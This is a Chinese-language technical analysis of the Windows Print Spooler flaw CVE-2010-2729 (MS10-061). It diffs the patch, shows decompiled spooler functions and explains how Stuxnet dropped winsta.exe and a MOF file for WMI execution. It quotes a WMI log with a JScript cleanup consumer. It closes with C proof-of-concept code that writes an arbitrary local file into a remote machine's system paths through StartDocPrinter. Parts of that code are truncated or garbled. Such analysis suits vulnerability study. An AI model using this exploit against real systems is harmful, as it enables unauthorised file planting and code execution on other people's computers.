《附录七:关于打印机远程任意代码执行漏洞CVE-2010-2729的分析与利用》 -By nEINEI 漏洞描述: Vulnerability in Print Spooler Service Could Allow Remote Code Execution 漏洞发生模块:spoolv.exe 之前的版本:6.1.7600.16385; 文件大小: 316,416 字节 补丁后的版本:6.1.7600.16661 文件大小:316,928 字节 详细信息: https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2010/ms10-061 显然,这个Windows6.1-KB2347290-x86补丁仅修补了一个函数,StartDocPrinterWorkerW 包含漏洞代码; 1.00 0.62 ------- 01041222 I_RpcExceptionFilter(x) 010414FB I_RpcExceptionFilter(x) 1.00 0.59 ------- 010324E5 SplLogType::TraceValue(uint,uint) 0103254A SplLogType::TraceValue(uint,uint) 1.00 0.02 ------- 0102E1B7 TRemoteWinspool::GetEPVEntry(void) 0102E1B5 TRemoteWinspool::GetEPVEntry(void) 0.75 0.98 GI--E-C 01038799 StartDocPrinterWorkerW(void *,ulong,uchar *) 01039827 StartDocPrinterWorkerW(void *,ulong,uchar *) 程序调用路径如下: RpcStartDocPrinter -- > YStartDocPrinter --> StartDocPrinterW--> StartDocPrinterWorkerW 简要来说,windows提供的打印机服务可以让多个文档排队进行脱机处理,该漏洞允许一个guest账户拷贝任意的文件到远程计算机的system目录,通过给远程打印机提供一个打印文档的请求。在stuxnet中是将 Windows\System32\winsta.exe 和 Windows\System32\wbem\mof\sysnullevnt.mof 这2个文件拷贝到了远程计算机中。 发送一个文档到打印机是通过YStartDocPrinter,这个函数的后续调用过程中没有正确的验证请求的event 和 output的用户权限。 // 在补丁中,这个函数中加入了2处主要的到代码验证 HANDLE __stdcall StartDocPrinterWorkerW(HANDLE hPrinter, unsigned __int32 a2, unsigned __int8 *a3) { HANDLE v3; // edi@1 int v4; // ebx@1 _WORD *v5; // eax@7 int v6; // eax@15 char v7; // al@20 HANDLE hPrintera; // [sp+14h] [bp+8h]@15 v3 = hPrinter; v4 = 0; if ( !hPrinter || *(_DWORD *)hPrinter != 0x6060 ) { SetLastError(6u); if ( WPP_GLOBAL_Control != &WPP_GLOBAL_Control && *((_BYTE *)WPP_GLOBAL_Control + 28) & 1 ) WPP_SF_q(*((_DWORD *)WPP_GLOBAL_Control + 4), *((_DWORD *)WPP_GLOBAL_Control + 5), 17, sub_1023AAC, 6); return 0; } if ( !*((_DWORD *)hPrinter + 9) ) { SetLastError(6u); if ( WPP_GLOBAL_Control != &WPP_GLOBAL_Control ) { if ( *((_BYTE *)WPP_GLOBAL_Control + 28) & 1 ) WPP_SF_(*((_DWORD *)WPP_GLOBAL_Control + 4), *((_DWORD *)WPP_GLOBAL_Control + 5), 18, sub_1023AAC); } return 0; } v5 = (_WORD *)*((_DWORD *)a3 + 1); if ( v5 && *v5 ) { if ( CheckLocalCall() ) // (1)************** 验证调用者的用户权限 { v4 = *((_DWORD *)a3 + 1); *((_DWORD *)a3 + 1) = 0; } else if ( !ValidateOutputFile(hPrinter, *((const unsigned __int16 **)hPrinter + 9), *((PCNZWCH *)a3 + 1)) ) // (2)**************验证output的文件 { if ( WPP_GLOBAL_Control != &WPP_GLOBAL_Control && *((_BYTE *)WPP_GLOBAL_Control + 28) & 1 ) WPP_SF_SS( *((_DWORD *)WPP_GLOBAL_Control + 4), *((_DWORD *)WPP_GLOBAL_Control + 5), 19, sub_1023AAC, *((_DWORD *)a3 + 1), *((_DWORD *)hPrinter + 9)); return 0; } } v6 = (*(int (__stdcall **)(_DWORD, unsigned __int32, unsigned __int8 *))(*((_DWORD *)hPrinter + 1) + 92))( *((_DWORD *)hPrinter + 2), a2, a3); hPrintera = (HANDLE)v6; if ( v4 ) *((_DWORD *)a3 + 1) = v4; if ( !v6 && WPP_GLOBAL_Control != &WPP_GLOBAL_Control && *((_BYTE *)WPP_GLOBAL_Control + 28) & 1 ) { v7 = GetLastError(); WPP_SF_Sd( *((_DWORD *)WPP_GLOBAL_Control + 4), *((_DWORD *)WPP_GLOBAL_Control + 5), 20, sub_1023AAC, *((_DWORD *)v3 + 9), v7); } return hPrintera; } a3 实际上LPBYTE pDOCInfo ,指向如下的结构 具体的说明见这里 https://msdn.microsoft.com/en-us/library/windows/desktop/dd162471(v=vs.85).aspx typedef struct _DOC_INFO_1 { LPTSTR pDocName; // 打印的文档名称 LPTSTR pOutputFile; // stuxnet中指向 winsta.exe / wbem\mof\sysnullevent.mof LPTSTR pDatatype; } DOC_INFO_1; 修补的地方就是检查什么样的情况下可以允许写入打印文档请求写入system目录 // 我们可以看到CheckLocalCall的实现是,检查当前的操作线程是否具有system权限 __int32 __stdcall CheckLocalCall() { DWORD v0; // edi@1 LPVOID v1; // eax@2 unsigned __int32 v2; // eax@3 HANDLE v3; // eax@5 __int32 v4; // eax@8 __int32 v5; // esi@9 __int32 v7; // eax@22 NCoreLibrary *v8; // [sp+0h] [bp-28h]@0 BOOL IsMember; // [sp+Ch] [bp-1Ch]@7 unsigned int Type; // [sp+10h] [bp-18h]@3 HANDLE TokenHandle; // [sp+14h] [bp-14h]@5 PSID pSid; // [sp+18h] [bp-10h]@6 struct _SID_IDENTIFIER_AUTHORITY pIdentifierAuthority; // [sp+1Ch] [bp-Ch]@6 v0 = GetLastError(); if ( gdwTlsBindingHandle == -1 ) v1 = 0; else v1 = TlsGetValue(gdwTlsBindingHandle); v2 = I_RpcBindingInqTransportType(v1, &Type); if ( v2 ) { if ( v2 == 1725 ) { v5 = 0; } else { if ( (signed int)v2 > 0 ) v2 = (unsigned __int16)v2 | 0x80070000; v5 = v2; } } else if ( Type == 4 ) { v3 = GetCurrentThread(); if ( OpenThreadToken(v3, 8u, 1, &TokenHandle) ) { pIdentifierAuthority.Value[0] = 0; pIdentifierAuthority.Value[1] = 0; pIdentifierAuthority.Value[2] = 0; pIdentifierAuthority.Value[3] = 0; pIdentifierAuthority.Value[4] = 0; pIdentifierAuthority.Value[5] = 5; // SECURITY_NT_AUTHORITY pSid = 0; if ( AllocateAndInitializeSid(&pIdentifierAuthority, 1u, 2u, 0, 0, 0, 0, 0, 0, 0, &pSid) ) { if ( CheckTokenMembership(TokenHandle, pSid, &IsMember) ) // 看是否是system权限 v4 = IsMember != 0; else v4 = NCoreLibrary::GetLastErrorAsHResult(v8); v5 = v4; FreeSid(pSid); } else { v5 = NCoreLibrary::GetLastErrorAsHResult(v8); } CloseHandle(TokenHandle); } else { v7 = NCoreLibrary::GetLastErrorAsHResult(v8); v5 = v7 != -2147023888 ? v7 : 0; } } else { v5 = 1; } SetLastError(v0); if ( v5 < 0 && WPP_GLOBAL_Control != &WPP_GLOBAL_Control && *((_BYTE *)WPP_GLOBAL_Control + 28) & 1 ) WPP_SF_q(*((_DWORD *)WPP_GLOBAL_Control + 4), *((_DWORD *)WPP_GLOBAL_Control + 5), 15, dword_1021F90, v5); return v5; } 远程的打印调用的账户是impersonation token权限,被验证不是system后,会继续查看ValidateOutputFile, int __stdcall ValidateOutputFile(HANDLE hPrinter, const unsigned __int16 *a2, PCNZWCH lpString2) lpString2 这个参数就是 DOC_INFO_1->pOutputFile 数据,这里要检查是否为NULL 或是打印机的端口名,否则就需要权限才能访问这个。 下一步,stuxnet利用WMI 方式通过sysnullevent.mof来调用执行winsta.exe。 这里有份时间上比较接近可疑的使用方式,仅供参考。https://pastebin.com/raw/HiUBrQTC (Sat Sep 25 19:15:02 2010.17214859) : ReloadEventFilter in namespace //./root/CIMV2. Object is instance of __EventFilter { Name = "qndfilt"; Query = "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"winsta.exe\""; QueryLanguage = "WQL"; }; (Sat Sep 25 19:15:02 2010.17214859) : Deactivating filter 021DCB10 (Sat Sep 25 19:15:02 2010.17214859) : Deactivating filter 02248CC0 (Sat Sep 25 19:15:02 2010.17214859) : ReloadConsumer in namespace //./root/CIMV2. Object is instance of ActiveScriptEventConsumer { Name = "qndASEC"; ScriptingEngine = "JScript"; ScriptText = "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\sysnullevnt.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"winsta.exe\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};"; }; (Sat Sep 25 19:15:23 2010.17235968) : ReloadProvider in namespace //./root/CIMV2. Object is instance of __Win32Provider { CLSID = "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}"; Name = "ActiveScriptEventConsumer"; PerUserInitialization = TRUE; }; (Sat Sep 25 19:15:23 2010.17235968) : Prepared resync in namespace //./root/CIMV2 (Sat Sep 25 19:15:23 2010.17235968) : Removing consumer provider record: //./root/CIMV2 in \\.\Root\cimv2:__Win32Provider.Name="ActiveScriptEventConsumer" 另外,被讨论很多情况是,在此漏洞出现前hackin9杂志已经在09年4月底一篇文章讨论过如何拷贝任意文件到远程目标计算机的利用方式,但没有引起微软注意。 下面是其中一份示例代码,供大家参考。 LPTSTR sourceFileName; LPTSTR targetFileName; LPTSTR target; int _tmain(int argc, _TCHAR* argv[]) { if(argc!=7) { wprintf_s(_T("\nUsage:\n%s -t target -s localFileNameFullPath -d remoteFileNameFullPath\nExample: %s -t \\\\target\\Printer1 -s C:\\test.exe -d C:\\Windows\\Tasks\\test.exe\ n"),argv[0],argv[0]); return 0; } for (int i=1;ipDatatype = NULL; //_T("RAW"); pDef->pDevMode = NULL; HANDLE hPrinter; // YOU HAVE TO CALL IT TWICE!!!!! FIRST HANDLE IS ONLY LOCAL. pDef->DesiredAccess = PRINTER_ACCESS_USE; // First call... if(!OpenPrinter(pName,&hPrinter,pDef)) { doFormatMessage(GetLastError()); return 0; } writeToPrinter(hPrinter); // Second call OpenPrinter(pName,&hPrinter,pDef); writeToPrinter(hPrinter); ClosePrinter(hPrinter); return 1; } int writeToPrinter(HANDLE hPrinter) { DOC_INFO_1* docInfo1 = new DOC_INFO_1; docInfo1->pDocName = _T("pwn3d"); docInfo1->pOutputFile = targetFileName; docInfo1->pDatatype = NULL; if(!StartDocPrinter(hPrinter,1,(LPBYTE)docInfo1)) { doFormatMessage(GetLastError()); return 0; } HANDLE hFile=GetSpoolFileHandle(hPrinter); if(hFile==INVALID_HANDLE_VALUE) { doFormatMessage(GetLastError()); return 0; } DWORD numb = 0; numb = copyFileToHandle(hFile); if(INVALID_HANDLE_VALUE == (hFile=CommitSpoolData(hP rinter,hFile,numb))) { doFormatMessage(GetLastError()); return 0; } if(!CloseSpoolFileHandle(hPrinter,hFile)) { doFormatMessage(GetLastError()); return 0; } return 1; } DWORD copyFileToHandle(HANDLE hFile) { HANDLE readHandle; int iFileLength; PBYTE pBuffer; DWORD dwBytesRead,dwBytesWritten; if(INVALID_HANDLE_VALUE==(readHandle=CreateFile(so urceFileName,GENERIC_READ,FILE_SHARE_ READ,NULL,OPEN_EXISTING,0,NULL))) return 0; iFileLength = GetFileSize(readHandle,NULL); pBuffer = (PBYTE)malloc(iFileLength); ReadFile(readHandle,pBuffer,iFileLength,&dwBytesRea d,NULL); CloseHandle(readHandle); WriteFile(hFile,pBuffer,iFileLength,&dwBytesWritten ,NULL); return dwBytesWritten; } void doFormatMessage( unsigned int dwLastErr ) { LPVOID lpMsgBuf; FormatMessage( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_IGNORE_INSERTS | FORMAT_MESSAGE_FROM_SYSTEM, NULL, dwLastErr, MAKELANGID( LANG_NEUTRAL, SUBLANG_DEFAULT ), (LPTSTR) &lpMsgBuf, 0, NULL ); wprintf_s(TEXT("ErrorCode %i: %s"), dwLastErr, lpMsgBuf); LocalFree(lpMsgBuf); }